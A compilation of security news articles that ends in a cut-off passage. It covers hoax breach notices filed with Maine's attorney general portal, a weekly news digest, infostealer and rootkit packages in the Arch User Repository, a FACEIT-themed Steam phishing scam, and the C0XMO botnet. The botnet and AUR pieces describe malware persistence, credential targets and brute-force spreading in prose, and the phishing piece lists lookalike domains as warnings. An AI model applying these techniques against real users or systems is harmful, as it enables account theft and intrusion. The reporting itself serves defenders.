The state of Maine has taken its public-facing database of breach reports offline following the publication of two false reports. The Office of the Maine Attorney General said in a statement on June 12 that the database would remain unavailable while it reviews its procedures to make such abuses less likely in the future. “After conversations with VRChat, one of two affected companies, it has become clear that the reported data breaches were hoaxes submitted by an unknown entity unrelated to either company,” the statement continued. “These false reports have been removed from the database. We have no knowledge of any recent legitimate data breach reports from either VRChat or Discord.” One of the reports in question impersonated video game developer VRChat using the made-up name of an employee. It claimed the firm had suffered a serious incident impacting 2.4 million people. The faked letter, seen by Infosecurity, looked convincing , claiming that “an unauthorized third party accessed certain user account information between May 10-12, 2026.” It lists the stolen information – including username, email address and subscription history – in bullets, and includes sections on what the firm has done to remediate the incident plus next steps for victims. The fake Discord notification claimed that the social and messaging platform provider was hit by an incident which impacted 10 million users. It’s unclear what the perpetrators’ motive was for filing the fraudulent notifications, short of making mischief. “We are reviewing our procedures to make this abuse less likely in the future while preserving the public availability of such information,” the Maine attorney general’s office said. “The public-facing database will remain offline until then. In the interim, if you are an entity who needs to submit a data breach report, you can continue to do so through our online reporting service.” Anyone looking to get access to historic breach notifications is urged to contact the office’s consumer protection division directly via email. There were a record 3332 publicly reported data breaches in the US last year, a 5% annual increase, according to data compiled by non-profit the Identity Theft Resource Center (ITRC). Around 279 million individuals were impacted.

The Office of the Maine Attorney General announced it has temporarily disabled its data breach portal in response to fake submissions. Maine is one of a small number of US states in which the Attorney General requires organizations experiencing data breaches to report the total number of individuals affected nationwide — not just the number of impacted state residents — when notifying authorities. The web service cataloged nearly 6,000 incidents reported since mid-2020 at the time of its takedown. The entries in the database in most cases listed the total number of affected individuals and provided important information on the impact and extent of a data breach. The fake data breach reports that triggered the shutdown targeted the online virtual world platform VRChat and the popular communication platform Discord. VRChat published a blog post clarifying that the breach notice submitted on its behalf — claiming that 2.4 million of its users were affected — was fake. “We want to make it perfectly clear that we have no reason to believe that our data and systems were compromised, and we did not submit any official notice about a data breach,” VRChat stated. “Upon inspection, it was apparent that this notice was submitted by an unknown third party. It was drafted on fake VRChat letterhead using the name and contact information of a person who does not exist,” it added. In the case of Discord, someone submitted a notice to the Maine AG claiming that a data breach had impacted 10 million of the platform’s users. The filing contained several red flags indicating it was likely fake. Discord did disclose a data breach last year, but there is no evidence that it affected 10 million individuals. The company confirmed when the incident came to light that copies of government-issued IDs belonging to roughly 70,000 people had been compromised. In a statement issued when it took down the data breach portal, the Maine Attorney General described the false VRChat and Discord reports as hoaxes. “We are reviewing our procedures to make this abuse less likely in the future while preserving the public availability of such information. The public-facing database will remain offline until then,” the attorney general’s office stated. In the meantime, organizations can still submit data breach reports to the Maine AG. Related: University of Nottingham Confirms Breach After Hackers Leak Data Related: 174,000 Impacted by Lansing Community College Data Breach Related: Hackers Leak DentaQuest Information Impacting 2.6 Million

Week in review: Exploited Check Point VPN zero-day, Oracle PeopleSoft servers under attack Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: DockSec: Open-source AI-powered Docker security scanner DockSec is an OWASP Incubator Project that combines three container security scanners with a language-model layer for explanation and remediation. Created by Advait Patel, the Python tool runs Trivy, Hadolint, and Docker Scout against a developer’s Dockerfile and image, correlates the findings, returns a 0-100 security score, and proposes line-specific fixes. Treating AI agents like service accounts for federated query security In this interview with Help Net Security, Paras Malhotra, CISO at Starburst, explains how the company handles data governance across federated query environments. Topics include layering Starburst’s access controls above native source permissions, tiering vendor risk across more than 200 partners and connectors, and building audit trails for autonomous agents. NOVA microhypervisor brings AMD DMA isolation to shared AI infrastructure BlueRock has issued the latest open-source release of its NOVA Microhypervisor with DMA remapping support for AMD platforms that have IOMMU hardware virtualization. The capability is enabled by default and extends hardware-level isolation across virtual machines, devices, and memory in shared execution environments. The security in smartphones is helping send them to landfills The WEEE Forum estimated that 5.3 billion mobile phones became electronic waste in 2022. Many of these devices still function. The average smartphone stays in use for about three years, and owners often replace handsets that retain enough computing power for other jobs. A team at the Université Libre de Bruxelles examined a barrier to giving those devices a second life. Every set of AI guardrails can be broken by the right prompt AI companies use guardrails to block harmful outputs such as deepfakes, malware, and instructions for biological weapons or illicit drugs. A new mathematical proof by Apostol Vassilev, a senior scientist at NIST, suggests those protections have inherent limits. For any finite set of guardrails, there exists a prompt that can bypass them if discovered. NOVA microhypervisor brings AMD DMA isolation to shared AI infrastructure BlueRock has issued the latest open-source release of its NOVA Microhypervisor with DMA remapping support for AMD platforms that have IOMMU hardware virtualization. The capability is enabled by default and extends hardware-level isolation across virtual machines, devices, and memory in shared execution environments. The security in smartphones is helping send them to landfills Billions of working smartphones reach the end of their service lives each year and move into drawers, recycling streams, and waste piles. The WEEE Forum estimated that 5.3 billion mobile phones became electronic waste in 2022. Many of these devices still function. The average smartphone stays in use for about three years, and owners often replace handsets that retain enough computing power for other jobs. A team at the Université Libre de Bruxelles examined a barrier to giving those devices a second life. Every set of AI guardrails can be broken by the right prompt Companies that build AI systems wrap them in guardrails meant to block harmful output, including deepfakes, malware, and instructions for making biological weapons or illicit drugs. When a user prompts the system for such content, the guardrails are designed to flag the request and refuse. A new mathematical proof sets a limit on how secure those guardrails can ever be. CISA orders federal agencies to “patch smarter” The US Cybersecurity and Infrastructure Security Agency (CISA) has issued a Binding Operational Directive that will change how the US federal government approaches vulnerability management. How to use NIST and ISO frameworks to govern AI agents Security leaders no longer need convincing that AI agents introduce risk. What’s missing is how to govern them once they move into production and begin operating autonomously across enterprise environments. CISA: Patch actively exploited SolarWinds Serv-U DoS vulnerability (CVE-2026-28318) A vulnerability (CVE-2026-28318) that can be exploited to crash SolarWinds Serv-U file transfer servers is being leveraged by attackers in the wild, the US Cybersecurity and Infrastructure Security Agency (CISA) confirmed on Friday. The agency has ordered US federal civilian agencies to address it by June 19, 2026, either by implementing a patch or implementing mitigations. Qilin ransomware affiliate exploited Check Point VPN zero-day (CVE-2026-50751) A Qilin ransomware affiliate is believed to be exploiting CVE-2026-50751, an authentication bypass vulnerability in Check Point VPN Remote Access and Mobile Access, the company announced on Monday. Check Point Remote Access VPN enables and secures connections between corporate networks and remote or mobile devices. LiteLLM vulnerability under active attack, CISA warns (CVE-2026-42271) A command injection vulnerability (CVE-2026-42271) in BerryAI’s LiteLLM open-source AI gateway is being exploited by attackers, the US Cybersecurity and Infrastructure Security Agency (CISA) confirmed by adding the flaw to its Known Exploited Vulnerabilities catalog on Monday. Record Microsoft Patch Tuesday, fresh zero-day Microsoft marked its largest-ever Patch Tuesday this month, by shipping fixes for nearly 200 vulnerabilities. Within hours, “Nightmare Eclipse”, the researcher behind weeks of escalating Windows exploit releases, dropped a proof-of-concept exploit for a new zero-day: “RoguePlanet”, which abuses a race condition in Windows Defender to spawn a command shell running with SYSTEM-level privileges. Critical Ivanti Sentry flaw allows root-level remote code execution (CVE-2026-10520) Ivanti has patched two critical vulnerabilities (CVE-2026-10520 and CVE-2026-10523) in Ivanti Sentry and has urged customers to implement the fix right away. Though the vulnerabilities are not known to be actively exploited, security researchers have already released technical details about the former, which may be used by attackers to craft a working exploit. Oracle PeopleSoft servers under attack, Oracle pushes out-of-band security alert A zero-day vulnerability (CVE-2026-35273) in Oracle PeopleSoft PeopleTools is being exploited in the wild, Charles Carmakal, CTO at cybersecurity firm Mandiant, part of Google Cloud, warned today. The architecture of subtraction: Why it’s time to erase the roads, not just map the traffic AI-assisted vulnerability discovery and exploit development are making patching increasingly inadequate as a primary defense. Advanced AI models can shrink the time from vulnerability discovery to exploitation from months to hours, while organizations struggle to patch systems as quickly as new flaws are identified. Product showcase: Staying ahead of the threat horizon with Aunoo Aunoo is an open strategic intelligence platform that uses AI agents to monitor intelligence sources, including for cybersecurity, to compile a daily briefing and alert on defined criteria. Each source is checked for credibility and quality before it is included. The platform runs in any browser and can send its findings via Slack, Discord, Teams, email or using the internal chat. When attacks spread too far: Lessons from real cyber attack case studies In this Help Net Security video, Michael Adjei, Director, Systems Engineering at Illumio, explains three real world cyber attacks and what went wrong during detection. Cyber resilience metrics that drive action In this Help Net Security video, Pete Bowers, COO at NormCyber, explains how organizations can build a cyber resilience metrics program that supports better decisions. He questions common ways of measuring resilience, such as risk registers, tool scores, and annual tests, and points out their limits. GitHub Copilot app launches as desktop home for AI coding agents GitHub introduced the Copilot app, a desktop application built for working with AI coding agents, at Microsoft Build 2026. The release expands GitHub’s Copilot product line beyond editor integrations and command-line tools into a dedicated workspace for directing several agents at once. Cybercriminals create 19,000 FIFA-themed domains ahead of 2026 World Cup The 2026 FIFA World Cup will bring millions of visitors and an estimated 6 billion spectators to a tournament spread across 16 host cities in the United States, Canada and Mexico. In a new report, Intel 471 describes the 2026 FIFA World Cup as “the largest and most complex cyberattack surface in sporting history.” Hackers used Meta’s AI support system to hijack over 20,000 Instagram accounts Meta has revealed that attackers hijacked 20,225 Instagram accounts by exploiting a flaw in the company’s AI-assisted account recovery system. According to the company, a vulnerability in High Touch Support (HTS) allowed unauthorized parties to perform password resets on Instagram accounts. Microsoft changes how Defender for Endpoint EDR updates are delivered on Windows Microsoft will distribute Defender for Endpoint EDR updates through Microsoft Update, enabling EDR security improvements to be released independently of monthly Windows operating system updates. The rollout started for Windows 10 devices in late May 2026 and will expand to Windows 11 and other supported Windows versions later this year. Microsoft expects deployment to be completed by fall 2026. Meta claims NSO Group still targets WhatsApp users despite court order Meta claims it disrupted spear-phishing attempts linked to NSO Group and is asking a US federal court to hold the spyware vendor in contempt for allegedly violating an injunction that bars it from targeting WhatsApp and its users. Mythos Preview can weaponize N-day vulnerabilities in hours Mythos Preview can develop working exploits from newly disclosed software vulnerabilities in hours, cutting down a process that has historically taken days or weeks, according to Anthropic. Google patches Chrome zero-day exploited in the wild (CVE-2026-11645) Google has fixed 74 vulnerabilities in Chrome, including a high-severity zero-day (CVE-2026-11645) that has been exploited in the wild. The fix has been shipped in Chrome 149.0.7827.102/.103 for Windows and macOS and Chrome 149.0.7827.102 for Linux, with the update rolling out to users over the coming days and weeks. French government messaging platform breached through account hijacking French authorities are investigating a compromise of Tchap, the government’s secure messaging platform, after hackers hijacked a user account and gained access to public chat rooms. Anthropic’s Claude Fable 5 is out for public use, with safeguards for high-risk requests Days after publishing research on how advanced AI systems could amplify cyber operations in the wrong hands, Anthropic released Claude Fable 5, a Mythos-class model for general use. The company said Mythos-class models possess advanced cybersecurity and research biology capabilities that can provide information and guidance beyond what is typically available through conventional online sources. New Browser-in-the-Browser phishing uses fake login popups to steal Microsoft 365 credentials A new Browser-in-the-Browser (BitB) phishing campaign is targeting Microsoft 365 users with fake login popups designed to closely mimic legitimate browser authentication windows, according to Palo Alto Networks Unit 42. Identity theft is turning into a chain reaction for victims For a growing number of victims, identity theft no longer ends with a fraudulent charge or a compromised account. More than one in four people who contacted the Identity Theft Resource Center during the reporting period were dealing with multiple identity-related incidents, according to the organization’s 2026 Trends in Identity Report. X Square Robot open sources its robot-free data collection framework Companies building robots for physical work spend large amounts of time and money operating machines by hand to gather training examples. Each session with a physical robot produces a small number of demonstrations per day, which slows the growth of datasets used to train embodied AI. Human demonstrators offer a cheaper source of data, and X Square Robot has put a system for this approach into public release. Making the cloud prove it followed your privacy wishes Companies that store personal data in cloud key-value databases should handle deletion requests by running the operation and confirming the job is complete. The people making those requests and the regulators overseeing them have had limited means to confirm the data is gone or that the record of its removal is genuine. GDPRuler, a middleware system from researchers at the Technical University of Munich and the University of Lisbon, sits between an application and an unmodified key-value database and enforces privacy rules as data passes through it. 9 out of 10 people can no longer distinguish real from AI-generated content Online fraud is becoming harder to distinguish from legitimate activity as AI-generated messages, voices, photos, reviews, and identities become more convincing. Nearly nine in ten adults say they can no longer tell what is real from AI-generated content, according to the latest Malwarebytes survey. The share increased from 66% in 2025 to 85% in 2026. FBI seizes 13 websites linked to alleged Chinese intelligence-gathering effort Federal authorities have seized 13 internet domains allegedly used to target current and former U.S. government employees and military personnel with access to classified and sensitive information. 52% of direct-to-IP threats are missing from intelligence feeds Security tools are good at inspecting websites, domains, URLs, and files, so attackers are moving lower in the stack and communicating directly with IP addresses, where visibility is limited. According to Palo Alto Networks’ report, this creates a visibility gap that allows malicious traffic to blend into normal internet activity and evade detection. Google Colab CLI opens runtimes to Claude Code and Codex Google released the Google Colab Command-Line Interface, a tool that connects local terminals to remote Colab runtimes. The CLI provides an execution platform for developers and AI agents, letting users provision compute, run local Python scripts on remote runtimes, and retrieve artifacts back to local machines. OpenAI is locking down parts of ChatGPT to reduce data theft risks OpenAI has started rolling out Lockdown Mode for ChatGPT, an optional security setting that restricts access to external resources and several product capabilities. It is available for personal accounts, including Free, Go, Plus, and Pro plans, as well as self-serve ChatGPT Business accounts. Samsung just made Galaxy phones more secure in One UI 9 beta Samsung’s One UI 9 beta integrates Lockdown mode into the power menu. This is the screen that contains Power off, Restart, and emergency options. Opening it initiates Lockdown mode, disabling biometric authentication. The security questions around Chinese AI coding models in U.S. software Software developers across the United States are using AI models built in China to write, debug, and review code, drawn by prices below those of American alternatives. These models carry risks for the security of American software, according to a report from Booz Allen Hamilton, which tested how the models respond when the user appears to work for the U.S. government. Malware ships with bugs that defenders could use against it Static analysis tools have spent years scanning legitimate software for security bugs before it goes out the door. The same scanners work on malware, and malware carries a steady supply of its own bugs. Researchers ran four of these tools across 658 leaked malware projects and found that close to 90 percent contained at least one recognized software weakness. Apple expands what parents can block, approve, and limit Apple has previewed a set of new child safety features coming to iPhone, iPad, and the Mac later this year, expanding parental controls with tools that help families manage app access, web browsing, communication, and screen time. Apple Intelligence can now replace weak passwords without user intervention Apple’s next generation of Apple Intelligence, the company’s personal intelligence system, expands its capabilities and introduces new security features in Passwords. With the new update, Passwords can automatically replace weak or compromised passwords. Scams now operate like real businesses with budgets and targets Social media has overtaken email as a primary attack vector, showing changes in how people consume information and interact online, according to Bitdefender’s Global Scam Intelligence Report 2026. Fraud campaigns use advertisements, sponsored content, impersonation pages, and direct messages to reach users. Apple extends Private Cloud Compute to third-party data centers Apple is bringing its Private Cloud Compute (PCC) platform to Google Cloud, expanding the infrastructure behind Apple Intelligence to third-party data centers. Introduced in 2024, PCC provides cloud-based processing for AI workloads that exceed the capabilities of on-device models while maintaining Apple’s security and privacy guarantees. Building reusable workflows with custom agents in Copilot CLI Developers spend much of their working time in the terminal, generating commands, debugging issues, and running scripts close to their systems. Repeated terminal work tends to pile up small steps such as re-running the same commands, re-explaining context, and translating logs into a form a team can act on. Custom agents in GitHub Copilot CLI address these patterns by turning repeated tasks into reusable workflows. Organizations can’t see much of their mobile AI activity Organizations have limited visibility into AI activity on mobile devices despite security leaders expressing confidence in their AI governance, according to Lookout’s “Solving for the Mobile AI Blind Spot: Executive Confidence Meets Technical Reality” report. Prompt injection still drives most agentic AI security failures in production A backdoor sat on PyPI for three hours in March 2026. Nearly 47,000 downloads occurred during the window. The compromised package, LiteLLM, serves as the language-model gateway for CrewAI, DSPy, Microsoft GraphRAG, and dozens of other AI agent frameworks. Anyone pulling an update during that window pulled in an autonomous attack bot named hackerbot-claw along with it. Threat actors are recruiting the people who hold cloud logins Companies keep most of their data and applications in cloud platforms that anyone can reach with the right login. That setup turns each employee holding those credentials into a security variable, and members of the cybercrime underground have built methods to reach those people. Intel 471 tracked this activity into 2026 and sorted insider risk into three categories that cloud-reliant organizations contend with. Fake Spotify Premium tutorials on TikTok and Instagram Reels spread malware Cybercriminals are using TikTok and Instagram Reels videos to spread Vidar, an infostealer malware, through fake downloads for popular paid software, according to ReversingLabs. The researchers uncovered two campaigns behind the activity, each using a different approach to draw in viewers before sending them to external download sites. Google sues China-based scammers over Gemini AI abuse Google has filed a lawsuit against Outsider Enterprise, a China-based cybercrime network for using AI tools, including Gemini, to build phishing websites and scam infrastructure. Cybercriminals are moving away from mass phishing campaigns Phishing activity declined by roughly 20% in both 2024 and 2025, according to research from Zscaler’s ThreatLabz team. The drop followed years of growth that pushed phishing activity above 2 billion hits in 2023. Authorities dismantle crypto laundering service that moved €336 million for cybercriminals An international law enforcement operation has dismantled a cryptocurrency laundering service linked to ransomware groups and other cybercriminals that processed more than €336 million in illicit funds. Cybersecurity jobs available right now: June 9, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: June 12, 2026 Here’s a look at the most interesting products from the past week, featuring releases from AISLE, Drata, Elastic, Filigran, IDnow, and Ridge Security.

Maine has taken its public data breach reporting portal offline after fraudulent breach disclosures were published on the state's website, prompting a review of procedures to prevent abuse in the future. Yesterday, BleepingComputer reported that fake data breach disclosures had been submitted to Maine's official breach notification portal impersonating Discord and the multiplayer social virtual reality platform VRChat. At the time, VRChat told BleepingComputer the filing was fraudulent and had been submitted using the name of a fictitious employee. In a statement published Friday, the Maine Attorney General's Office acknowledged that data breach "hoaxes" were submitted through the state's reporting system. "The Office of the Maine Attorney General has been made aware of an apparent abuse of our data breach reporting system," the statement reads. "After conversations with VRChat, one of two affected companies, it has become clear that the reported data breaches were hoaxes submitted by an unknown entity unrelated to either company. These false reports have been removed from the database. We have no knowledge of any recent legitimate data breach reports from either VRChat or Discord." The Attorney General's Office says it has now temporarily disabled public access to the breach notification database while it reviews reporting procedures to reduce similar abuse in the future. Prior to the shutdown, submitted breach notices were automatically published to the public database. "We don’t have any independent knowledge of the breaches, the submitting entity fills out the information and it goes directly onto the site. We will review the one you’ve flagged, thank you," Maine Attorney General's Office told BleepingComputer. The notice states that companies can continue to submit breach notifications through the reporting service, but members of the public seeking copies of disclosures must now contact the Attorney General's Office directly. Maine's data breach portal is commonly used by journalists, researchers, and threat intelligence firms to monitor newly disclosed security incidents and determine whether organizations are reporting cyberattacks or data breaches affecting consumers. The incident demonstrates how automatically published breach disclosures can be abused to spread misinformation and damage a company's reputation. The fraudulent VRChat filing claimed the company suffered a data breach impacting over 2.4 million people and included a fabricated employee contact name in the disclosure. After BleepingComputer contacted VRChat about the filing, the company confirmed the disclosure was fake and stated it had not submitted the notice to Maine authorities. BleepingComputer also contacted Discord about the fraudulent notice submitted to the site but did not receive a response. It is unclear how many additional fraudulent breach notices may have been submitted through the portal before the state suspended public access to the database. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

More than 400 packages in the Arch User Repository (AUR) are distributing a Linux rootkit and infostealer malware targeting credentials and access tokens. A report from the open-source intelligence community Independent Federated Intelligence Network (IFIN) notes that a new maintainer is spoofing a trusted publisher on the AUR platform to push infected packages. The Arch Linux distribution is popular among power users and developers, using the AUR catalog to provide the latest versions for installed software, drivers, and the kernel. AUR is a community-maintained repository for the Arch distribution that contains package build scripts (PKGBUILDs) with instructions for downloading, compiling, and installing software not available in Arch’s official repositories. AUR is considered essential for any Arch-based distribution because it contains proprietary applications, beta/nightly versions of open-source software, niche utilities, and older versions of packages that retain functionality which may have been removed in later releases. However, it is not a vetted space, and threat actors can use it to push malware through packages that change ownership without anyone noticing. According to IFIN member Michael Taggart, the compromised packages are modified with preinstall scripts that download and execute a malicious npm package called atomic-lockfile. Independent security researcher Whanos notes that one sample of the atomic-lockfile included a Linux ELF payload named deps, which was a "credential stealer with optional root-only eBPF [extended Berkeley Packet Filter] rootkit capabilities." "It is designed for developer workstations and build environments. It targets browser and Electron application data, Slack, Microsoft Teams, Discord, GitHub, npm, Vault, Docker/Podman, SSH, VPN material, shell histories, and other local developer secrets," Whanos says in the report. With eBPF technology present, the malware can run inside the kernel with elevated privileges and hide local processes. Supply-chain management company Sonatype also published a report on a campaign targeting the AUR repository and delivering the malicious atomic-lockfile npm package, but using a different method. Sonatype researchers say that the threat actor hijacked at least 20 orphaned packages on AUR and pushed atomic-lockfile by modifying the PKGBUILD file - a Bash script with the build information needed by Arch Linux packages. According to the report, the attacker added a post-install script to invoke npm and retrieve the malicious package. "The modified packages add a post-install script that invokes npm and installs atomic-lockfile during package installation," Sonatype says. However, analysis showed that the npm package installed a Linux executable with references to an eBPF rootkit that could hide processes, files, and network interfaces. Additionally, the Linux binary indicates that it has infostealer functionality, targeting the following types of sensitive information: GitHub credentials SSH artifacts HashiCorp Vault tokens Browser cookie databases Slack data Discord data Microsoft Teams data Telegram data Sonatype determined that the binary can archive data, handle multi-part files, and perform HTTP uploads, so the functionality for a typical exfiltration mechanism is present. AUR maintainers are working to identify and remove all malicious commits, and to ban the accounts pushing them. In a message to the community, Arch Linux package maintainer Jonathan Grotelüschen urged users to report any malicious package they find. As a general rule, it’s recommended to only trust projects with frequent updates and an active community around them. Arch users are advised to review the list of affected packages and look for the indicators of compromise provided in the report from Whanos. Michael Taggart also pointed to a script that checks for the atomic-lockfile malware on the system. If compromised packages are found, users should rotate all credentials and consider reinstalling Arch from scratch, since a rootkit may survive normal cleaning efforts. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Online gamers should watch out for a convincing scam that aims to steal your Steam account. The scam uses fake FACEIT verification pages that look legitimate, complete with official branding, working links, and what appears to be a real Steam login window. By the time it asks for your password, many victims are convinced they’re interacting with a genuine service. The goal is to steal your Steam account. Why this scam targets FACEIT players If you’re not a competitive gamer, FACEIT might not mean anything to you. But to millions of people, it’s a big deal, and that makes it a target for impersonation by cybercriminals. FACEIT is one of the largest competitive gaming platforms for Counter-Strike 2 (CS2). Millions of players use it for ranked matches, tournaments, leagues, and advanced anti-cheat protections. To use FACEIT, players typically connect their Steam platform accounts, which are valuable for scammers. A stolen Steam account can contain: Hundreds or thousands of dollars’ worth of purchased games Valuable CS2 skins and items, some worth significant amounts of real money Wallet funds and saved payment methods Years of friends, messages, and community reputation Once criminals gain access, they can steal items, scam friends, or sell the account on criminal marketplaces. Because FACEIT connects to Steam, a fake “FACEIT verification” page is an easy way to trick people. Victims think they’re updating their account, but attackers are really trying to steal Steam accounts that may contain valuable games, skins, and wallet funds. Gamers are especially vulnerable because they’re used to linking accounts and following verification steps, and may act quickly if they think their access to a game is at risk. How the scam works The attack starts with a website that looks like an official FACEIT page. The scam pages are likely distributed through the same channels gamers use every day: community forums, chat servers, social media posts, and direct messages. The page claims FACEIT is offering free, optional identity verification to help build a more trusted community. It’s polished, uses the correct branding, and even includes working links to FACEIT’s real blog and support pages. Everything about it is designed to make you think you’re on a genuine FACEIT website, but you’re not. Instead of using the official faceit.com domain, the scammers use lookalike addresses such as: faceit-discord.com faceit-clubs-verify.com faceit-verification-clubs.com The extra words like “verification” or “discord,” are designed to make these addresses look legitimate at a glance, but they’re sites that are controlled by cybercriminals. Many of these domains are only days or even hours old. Scammers constantly register new ones, knowing they’ll likely be blocked eventually. That’s why a site not being flagged as dangerous doesn’t mean it’s safe. There are small clues, though. In one example, the page listed both “Copyright 2024” and “Copyright 2025.” Legitimate companies rarely make mistakes like that, but scam sites often do. After the verification pitch, the page claims there’s a problem with your CS2 account and asks you to update your information to prove you’re not a cheater or using a smurf account. Here’s the clever part. The QR code appears blurry and difficult to scan. Researchers believe that’s intentional. After a few failed attempts, many users are likely to give up and click the easier-looking “Sign in through Steam” button instead. The broken QR code is the nudge that guides victims toward the part of the page where the real theft happens. When users eventually give up on the QR code and click the button, a Steam login window appears. It looks convincing, complete with the Steam logo, login fields, and what appears to be a steamcommunity.com address bar. But the window is fake. Instead of opening a real Steam login page, the scammers display a convincing copy inside the website itself. Security researchers call this a Browser-in-the-Browser attack. The fake window looks and behaves like a genuine browser pop-up, but the address bar is just part of the image. Anything entered into the form goes straight to the criminals. If the page also asks for a Steam Guard code, that gets stolen too, allowing attackers to access the account. Some victims are then tricked into “protecting” their items by transferring them to a friend or backup account, when they’re actually sending them directly to the scammers. How to protect yourself against this scam A few simple habits can stop this scam: Check the real address bar. FACEIT’s official website is faceit.com . Be wary of lookalike domains such asfaceit-discord.com orfaceit-clubs-verify.com . Remember: a login window inside a webpage can fake its own address bar. Trust the one at the top of your browser, not the one inside the page. Be suspicious of blurry QR codes. Researchers believe the QR code in this scam is deliberately blurred to push users toward the “Sign in through Steam” button instead. Treat urgency as a warning sign. Messages about account problems, verification, or losing access are designed to make you act quickly. Slow down and verify first. Go to the source. If you’re unsure whether FACEIT or Steam needs something from you, open the official website or app yourself rather than following links from Discord, messages, or ads. Add another layer of protection. Scam sites often look legitimate. Malwarebytes Browser Guard can help block known phishing pages and other online scams before you enter your username and password. If you already entered your details Change your Steam password immediately, make sure Steam Guard is enabled, and sign out of all other devices. Check your Steam API key settings and remove any key you don’t recognize. Change the password anywhere else you reused it and review your account for unauthorized trades or purchases. Why this scam works This scam works because it doesn’t look like a scam. The branding is convincing, the story makes sense, and even the Steam login window appears legitimate. Most people know to check the address bar before entering a password. Browser-in-the-Browser attacks are designed to defeat that habit. Because the fake Steam window is built into the page itself, the criminals can make its address bar say whatever they want, including steamcommunity.com. The safest approach is to be suspicious of any login window that appears inside another website. If you’re unsure, close the page and sign in to Steam the way you normally would, through the official app or by typing the address yourself. That small pause, that refusal to take the convenient shortcut a page is pushing you toward, is all it takes to keep your account yours. Stop threats before they can do any harm. Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

In an unusual misinformation campaign, fraudulent data breach disclosures were submitted to Maine’s official breach portal and publicly posted before their legitimacy could be verified, prompting companies to deny the claims. A notice allegedly filed by multiplayer social virtual reality platform VRChat is the most recent entry in the state Attorney General's breach disclosure database. However, a company representative told BleepingComputer that the breach notification is fake and has been filed using the name of a fictitious employee. VRChat is a multiplayer social virtual reality platform built on Unity and originally released for Windows and Oculus Rift in 2014, where users interact as customizable avatars in user-created virtual worlds. The fake VRChat data breach entry notes that personal data of more than 2.4 million users was exposed to hackers after they gained access to the company's cloud environment. Whoever submitted the false information made the effort to draft a notification letter for affected individuals, which claimed that the hacking incident occurred between May 10 and 12 and impacted the following types of data: VRChat username Email address associated with a VRChat account VRChat+ subscription status Login history, including device, hardware identifiers, and IP addresses Steam or Meta user ID linked to a VRChat account At a cursory look, the false letter appears legitimate, filled with details about unauthorized access, results of a forensic investigation, actions taken after detecting the hack, claims that steps have been taken to increase security, and what users should do to increase protection for their account. Charles Tupper, Head of Community at VRChat, told BleepingComputer that the data breach notification in the database of the Maine Office of the Attorney General is fraudulent: "VRChat did not submit this Notice of Data Incident, and the employee/email cited does not exist. We have no reason to believe that our data or systems have been compromised." Tupper added that the company is "in the process of contacting the Maine Attorney General's office to have this removed." Graham Gaylor, the CEO and co-founder of VRChat, also confirmed the statement BleepingComputer received from Tupper. The Maine Office of the Attorney General also responded to our request for comments and said that "the notice will be coming down" and that they were "not aware of another example of intentional misrepresentation of the notice filings." Earlier this week, the Maine Attorney General's Office listed another suspicious data breach notification allegedly from Discord, which claimed that 10 million people were impacted by a data breach. Maine's Attorney General Office confirmed to BleepingComputer that anyone can submit a breach notification form and have it added to the portal without verification. "We don’t have any independent knowledge of the breaches, the submitting entity fills out the information and it goes directly onto the site. We will review the one you’ve flagged, thank you," Maine Attorney General's Office told BleepingComputer when asked about the validity of the Discord data breach submission. Unlike most formal data breach notifications, the Discord entry did not include a notification letter from the company informing consumers about the breach, disclosing what happened and how those impacted can protect themselves. Apart from the company address, the Discord entry included vague and unreliable information, starting with the name of the person submitting the notice, a Gmail contact, and a placeholder phone number. Furthermore, the details about the breach occurring on July 9, 2024, and being discovered on August 8, 2025, along with an inconsistent consumer notification date of January 1st, 2000, are clear indications of a false submission. Although a data breach did impact Discord in 2025, it occurred on September 20 and was due to a compromise of the company's Zendesk support desk system. At the time, the hackers told BleepingComputer that they had stolen data of 5.5 million users from 8.4 million tickets. Despite being listed on an official portal, the validity of data disclosures is not to be taken for granted as inadequate vetting makes it easy for scammers to spread misinformation, potentially causing reputational harm and panic before companies even become aware that a false filing has been posted. These fake filings highlight the need for journalists and consumers to independently verify breach notifications with affected companies before treating entries on public notification portals as legitimate incidents. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A new variant of the Gafgyt botnet called C0XMO is targeting DD-WRT router firmware and can move to other device types with various CPU architectures. The researchers found samples for ARM, MIPS, PowerPC, SuperH, x86, x86_64, and other architectures, featuring exploits for DVRs, routers, video management platforms, and Android-based devices. The botnet was seen targeting a Japanese technology company, but researchers discovered that the source IP address was for a device located in Germany. Fortinet researchers discovered C0XMO and highlighted its modular design, which allows operators to update its exploitation techniques, add/remove targeted architectures, and expand its lateral movement capabilities independently of the main payload. Fundamentally, C0XMO remains a malware for launching distributed denial-of-service (DDoS) attacks and supports 19 methods, including UDP/TCP/SYN/ICMP floods, “ping of death,” NTP/Memcached amplification, Discord voice UDP floods, and Valve-specific floods. According to the researchers, the C0XMO botnet malware is delivered by exploiting CVE-2021-27137, a buffer overflow vulnerability caused by insufficient user input. It can be leveraged without authentication and leads to executing arbitrary code. Gafgyt scanner For wider distribution, C0XMO downloads a Python script that installs additional packages such as ‘requests,’ ‘paramiko,’ and ‘beautifulsoup4,’ which are required for network scanning and communication, and for running activities over SSH and telnet protocols. The scanner then uses worker threads to randomly scan internet-facing systems on common ports like 22 (SSH), 23 (Telnet), 80/443 (HTTP/HTTPS), 7547, 8080, 8443, 8888, and others. After finding a target, the malware attempts to brute-force weak Telnet and SSH credentials, detects the CPU architecture, and deploys a compatible C0XMO binary. The script contains almost two dozen functions for various tasks for scanning, exploiting HTTP and ADB-based vulnerabilities, detecting the CPU architecture, SSH/telenet login, and checking IP addresses. Its main purpose is to move laterally on the network. Once it gains access to a device, the malware copies itself to hidden locations such as ‘/tmp/.sys,’ ‘/var/tmp/.sys,’ and ‘/dev/shm/.sys,’ and then creates cron jobs that relaunch it every 15 minutes. Also, shell startup files are modified to enable automatic execution. Furthermore, C0XMO actively scans running processes to identify competitor botnet 